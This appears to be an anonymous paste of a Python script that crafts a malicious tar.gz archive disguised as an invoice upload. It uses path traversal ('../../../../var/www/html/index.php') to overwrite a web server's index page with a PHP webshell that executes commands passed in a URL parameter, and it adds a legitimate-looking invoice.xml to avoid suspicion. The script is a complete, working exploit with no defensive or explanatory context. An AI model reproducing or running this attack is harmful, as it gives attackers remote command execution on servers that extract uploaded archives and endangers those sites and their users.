Untitled
Anonymous
Plain Text
08/23/2025 7:28 PM
1.5 KB
13
Indexable
Never
import tarfile
import io
import os
# Path where we want to overwrite on the target
target_override = "../../../../var/www/html/index.php"
# The file name that the app expects to extract
expected_name = "invoice.xml"
# Our malicious PHP payload
php_payload = """<?php
// Simple test webshell
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>"""
# Create an in-memory tar.gz
with tarfile.open("malicious_invoice.tar.gz", "w:gz") as tar:
# Create a fake invoice.xml entry that actually points to ../../../../../var/www/html/index.php
data = io.BytesIO(php_payload.encode("utf-8"))
# Make TarInfo header
info = tarfile.TarInfo(name=os.path.join("..", "..", "..", "..", "var", "www", "html", "index.php"))
info.size = len(php_payload)
# Add the crafted file
tar.addfile(tarinfo=info, fileobj=data)
# ✅ Important: also include a normal invoice.xml (so archive looks legitimate)
legit_xml = """<?xml version="1.0"?><invoice><id>123</id></invoice>"""
data2 = io.BytesIO(legit_xml.encode("utf-8"))
info2 = tarfile.TarInfo(name=expected_name)
info2.size = len(legit_xml)
tar.addfile(tarinfo=info2, fileobj=data2)
print("Created malicious_invoice.tar.gz")
}Editor is loading...
Leave a Comment